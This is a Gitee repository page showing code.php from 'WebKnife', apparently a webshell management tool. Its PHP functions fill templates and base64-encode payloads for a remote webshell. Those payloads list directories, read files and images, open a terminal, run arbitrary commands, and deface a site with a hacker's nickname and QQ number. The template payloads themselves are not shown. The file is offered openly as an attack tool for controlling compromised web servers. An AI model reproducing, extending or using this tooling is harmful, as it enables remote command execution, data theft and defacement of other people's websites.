1 Star 0 Fork 0

MoLeft/WebKnife

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
code.php 2.29 KB
一键复制 编辑 原始数据 按行查看 历史
MoLeft 提交于 2019-07-01 12:21 . 这是第一个版本
<?php
/**
* 函数名称:代码模板替换
* 函数作者:陌小离
* 函数用法:get_tpl(模板名称,替换内容,替换数据)
*/
function get_tpl($tpl_name,$tpl_content,$tpl_data){
$content = str_replace('{'.$tpl_name.'}',$tpl_content,$tpl_data);
return $content;
}
/**
* 代码名称:连接代码
* 代码作者:陌小离
*/
function link_code($content){
$tpl_data = file_get_contents('./code/tpl/link.code.tpl');
$code = get_tpl('content',$content,$tpl_data);
return base64_encode($code);
}
/**
* 代码名称:文件列表
* 代码作者:陌小离
*/
function file_code($dir){
$tpl_data = file_get_contents('./code/tpl/file.code.tpl');
$code = get_tpl('dir',$dir,$tpl_data);
return base64_encode($code);
}
/**
* 代码名称:文件路径
* 代码作者:陌小离
*/
function path_code($link,$pass,$dir){
$tpl_data = file_get_contents('./code/tpl/path.code.tpl');
$code_3 = get_tpl('link',$link,$tpl_data);
$code_2 = get_tpl('pass',$pass,$code_3);
$code = get_tpl('dir',$dir,$code_2);
return base64_encode($code);
}
/**
* 代码名称:读取图片
* 代码作者:陌小离
*/
function img_code($dir){
$tpl_data = file_get_contents('./code/tpl/img.code.tpl');
$code = get_tpl('dir',$dir,$tpl_data);
return base64_encode($code);
}
/**
* 代码名称:读取文件
* 代码作者:陌小离
*/
function text_code($dir){
$tpl_data = file_get_contents('./code/tpl/text.code.tpl');
$code = get_tpl('dir',$dir,$tpl_data);
return base64_encode($code);
}
/**
* 代码名称:一键挂黑
* 代码作者:陌小离
*/
function hack_code($nick,$qq,$hack_html='./code/hack/default.html'){
$tpl_data = file_get_contents('./code/tpl/hack.code.tpl');
$tpl_hack = file_get_contents($hack_html);
$tpl_data = get_tpl('h_nick',$nick,get_tpl('h_qq',$qq,$tpl_data));
$code = get_tpl('content',base64_encode($tpl_hack),$tpl_data);
return base64_encode($code);
}
/**
* 代码名称:连接终端
* 代码作者:陌小离
*/
function cmdl_code(){
$tpl_data = file_get_contents('./code/tpl/cmd-l.code.tpl');
$code = $tpl_data;
return base64_encode($code);
}
/**
* 代码名称:执行命令
* 代码作者:陌小离
*/
function cmd_code($cmd){
$tpl_data = file_get_contents('./code/tpl/cmd.code.tpl');
$code = get_tpl('cmd',$cmd,$tpl_data);
return base64_encode($code);
}
?>
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
JavaScript
1
https://gitee.com/moleft/WebKnife.git
git@gitee.com:moleft/WebKnife.git
moleft
WebKnife
WebKnife
master

搜索帮助

0d507c66 1850385 C8b1a773 1850385